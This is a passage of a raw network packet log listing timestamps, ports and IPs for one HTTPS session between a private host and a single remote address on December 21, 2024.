Dec 21, 2024 19:24:56.165816069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165816069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165865898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165877104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165915966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165915966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165962934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166063070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166063070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166080952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.166116953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166116953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166137934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.166165113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166166067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166213989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166261911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166311979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166311979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166409969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166409969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166435003 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.166484118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166484118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166484118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166529894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166579008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166629076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166629076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166726112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166726112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166748047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.166784048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166784048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166784048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166831017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166879892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166881084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166979074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.166979074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167076111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167076111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167124987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167175055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167175055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167175055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167222023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167272091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167293072 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.167325020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167325020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167373896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167373896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167423010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167423010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167470932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167521954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167521954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167571068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167571068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167668104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167668104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167716026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167815924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167815924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167846918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.167890072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167891026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167891026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167968988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.167968988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168016911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168117046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168117046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168117046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168164015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168164015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168211937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168262005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168262005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168288946 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.168322086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168322086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168427944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168427944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168473005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168521881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168523073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168523073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168569088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168617964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168668032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168668985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168766975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168766975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168800116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.168837070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168837070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168837070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168884993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168884993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168884993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168982983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.168982983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169030905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169080019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169179916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169179916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169179916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169181108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169225931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169275999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169326067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169326067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169352055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.169441938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169441938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169491053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169491053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169538975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169589996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169589996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169637918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169686079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169734955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169785976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169785976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169833899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169866085 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.169915915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169915915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169915915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169915915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.169962883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170061111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170061111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170159101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170159101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170228958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170228958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170262098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170262098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170361042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170361042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170459986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170459986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170506954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170556068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170556068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170604944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170604944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170703888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170703888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170803070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170803070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170803070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170849085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170869112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.170898914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170898914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170949936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170949936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170949936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.170949936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171050072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171050072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171154022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171154022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171201944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171201944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171252012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171252012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171299934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171351910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171397924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171397924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.171534061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.382312059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.382491112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624099970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624149084 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624177933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624358892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624360085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624412060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624463081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624489069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624489069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624489069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624537945 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624555111 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624568939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624586105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624586105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624587059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624587059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624587059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624587059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624620914 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624644041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624666929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624666929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624666929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624712944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624763012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624763012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624785900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.624862909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624862909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624962091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624962091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.624962091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625008106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625058889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625058889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625060081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625106096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625150919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.625170946 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.625205040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625205040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625252962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625302076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625351906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625351906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625402927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625403881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625403881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625403881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625453949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625538111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625538111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625588894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625684977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625684977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625731945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625782967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625782967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625830889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625880957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625930071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625930071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.625951052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.625972033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.626027107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626027107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626075983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626075983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626125097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626174927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626174927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626174927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626271009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.626274109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626276016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.626274109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626370907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626370907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626370907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626419067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626420021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626467943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626467943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626518011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626518011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626616955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626616955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626717091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626717091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626763105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626763105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626811981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626853943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.626862049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626863003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626863003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.626869917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.626909018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627008915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627008915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627105951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627106905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627156019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627156019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627203941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627254009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627254009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627254009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627351046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627351046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627420902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.627425909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.627450943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627450943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627450943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627496958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627516985 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.627548933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627548933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627598047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627598047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627598047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627707958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627801895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627801895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627849102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627849102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627897024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627947092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627947092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.627947092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628046989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628046989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628077030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.628166914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628168106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628168106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628218889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628263950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628264904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628313065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628360987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628411055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628412008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628509998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628509998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628559113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628559113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628581047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.628622055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628622055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628622055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628622055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628722906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628722906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628840923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628840923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628887892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628937960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628937960 CET	49766	443	192.168.11.20	172.67.184.254
